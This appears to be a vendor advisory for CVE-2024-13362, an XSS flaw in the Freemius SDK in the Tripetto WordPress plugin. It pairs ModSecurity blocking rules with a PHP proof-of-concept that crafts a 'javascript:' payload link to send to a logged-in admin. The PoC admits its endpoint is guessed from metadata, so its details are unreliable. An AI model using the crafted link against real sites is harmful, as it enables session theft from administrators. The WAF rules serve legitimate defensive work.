CVE-2024-13362: Freemius <= 2.10.1 – Reflected DOM-Based Cross-Site Scripting via url Parameter (tripetto)

# Atomic Edge WAF Rule - CVE-2024-13362 (metadata-based)
# Blocks reflected XSS in the 'url' parameter for Freemius AJAX endpoints
# Targets the common AJAX handler pattern used by vulnerable plugins (e.g., tripetto)
SecRule REQUEST_URI "@beginsWith /wp-admin/admin-ajax.php" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2024-13362 Reflected XSS via url parameter in Freemius',severity:'CRITICAL',tag:'CVE-2024-13362'"
  SecRule ARGS:action "@pm tripetto_freemius_check" "chain"
    SecRule ARGS:url "@rx (?:javascript|data:|vbscript|<script|on[a-z]+=|&#x?[0-9a-fA-F]{2,};)" 
      "t:lowercase,t:urlDecode"

# Alternative rule for direct page endpoints that reflect the url parameter (if AJAX is not used)
SecRule REQUEST_URI "@rx /wp-content/plugins/tripetto/.*freemius.*.php$" 
  "id:20261995,phase:2,deny,status:403,chain,msg:'CVE-2024-13362 Reflected XSS via url parameter in Freemius',severity:'CRITICAL',tag:'CVE-2024-13362'"
  SecRule ARGS:url "@rx (?:javascript|data:|vbscript|<script|on[a-z]+=|&#x?[0-9a-fA-F]{2,};)" 
    "t:lowercase,t:urlDecode"

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2024-13362 - Freemius <= 2.10.1 - Reflected DOM-Based Cross-Site Scripting via url Parameter

// This PoC demonstrates the reflected XSS vulnerability in the Freemius SDK used by the 'tripetto' plugin.
// The vulnerable endpoint is likely the Freemius connectivity check AJAX handler or a page that reflects the 'url' parameter.
// Since no source code is available, we assume the parameter is passed to a JavaScript DOM API without sanitization.

$target_url = 'http://example.com'; // CHANGE THIS to the target WordPress site

// Construct the malicious link with a JavaScript payload in the 'url' parameter.
// The payload will execute when the victim's browser processes the URL.
// We use a simple alert to confirm XSS, but real attackers would use cookie theft or other malicious actions.
$payload = 'javascript:alert(document.domain)';
$vulnerable_endpoint = '/wp-admin/admin-ajax.php?action=tripetto_freemius_check&url=' . urlencode($payload);

$full_url = $target_url . $vulnerable_endpoint;

echo "[+] Atomic Edge PoC for CVE-2024-13362n";
echo "[+] Target: $target_urln";
echo "[+] Crafted malicious URL:n";
echo $full_url . "nn";
echo "[+] To exploit: Send this link to a logged-in admin. When clicked, the XSS payload executes.n";

// Optional: Send the request via cURL to verify the endpoint exists and reflects the parameter.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $full_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code === 200) {
    echo "[+] Endpoint responded with HTTP 200. Check if the URL parameter is reflected in the response.n";
    echo "[+] Response snippet:n";
    echo substr($response, 0, 500) . "n";
} else {
    echo "[-] HTTP $http_code received. The endpoint might require authentication or different parameters.n";
    echo "[-] This PoC is metadata-based; actual exploitation may require adjustments.n";
}